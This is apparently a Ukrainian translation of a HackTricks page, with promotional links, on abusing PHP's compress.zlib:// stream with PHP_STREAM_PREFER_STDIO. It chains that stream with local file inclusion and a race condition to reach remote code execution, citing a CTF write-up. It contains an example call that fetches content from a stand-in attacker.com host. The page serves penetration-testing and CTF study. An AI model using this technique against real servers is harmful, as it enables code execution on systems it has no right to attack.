4.3 KiB
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!
Інші способи підтримки HackTricks:
- Якщо ви хочете побачити рекламу вашої компанії на HackTricks або завантажити HackTricks у форматі PDF, перевірте ПЛАНИ ПІДПИСКИ!
- Отримайте офіційний PEASS & HackTricks мерч
- Відкрийте для себе Сім'ю PEASS, нашу колекцію ексклюзивних NFT
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами на Twitter 🐦 @carlospolopm.
- Поділіться своїми хакерськими трюками, надсилайте PR до HackTricks і HackTricks Cloud репозиторіїв на GitHub.
compress.zlib://
та PHP_STREAM_PREFER_STDIO
Файл, відкритий за допомогою протоколу compress.zlib://
з прапорцем PHP_STREAM_PREFER_STDIO
, може продовжувати записувати дані, які надходять до з'єднання, пізніше у той самий файл.
Це означає, що виклик, подібний до:
file_get_contents("compress.zlib://http://attacker.com/file")
Буде відправлено запит на http://attacker.com/file, після чого сервер може відповісти на запит дійсною HTTP-відповіддю, утримувати відкрите з'єднання та відправляти додаткові дані через певний час, які також будуть записані у файл.
Ви можете побачити цю інформацію у цій частині коду php-src у main/streams/cast.c:
/* Use a tmpfile and copy the old streams contents into it */
if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}
Гонка умов до RCE
Цей CTF був вирішений за допомогою попереднього трюку.
Атакуючий змусить сервер жертви відкрити з'єднання для читання файлу з сервера атакуючого за допомогою протоколу compress.zlib
.
Поки це з'єднання існує, атакуючий ексфільтрує шлях до створеного тимчасового файлу (він витікає з сервера).
Поки з'єднання є відкритим, атакуючий експлуатує LFI, завантажуючи тимчасовий файл, яким він керує.
Однак у веб-сервері є перевірка, яка запобігає завантаженню файлів, що містять <?
. Тому атакуючий використовуватиме Гонку умов. У з'єднанні, яке ще відкрите, атакуючий відправить PHP навантаження ПІСЛЯ того, як веб-сервер перевірив, чи файл містить заборонені символи, але ДО того, як завантажить його вміст.
Для отримання додаткової інформації перегляньте опис Гонки умов та CTF за посиланням https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer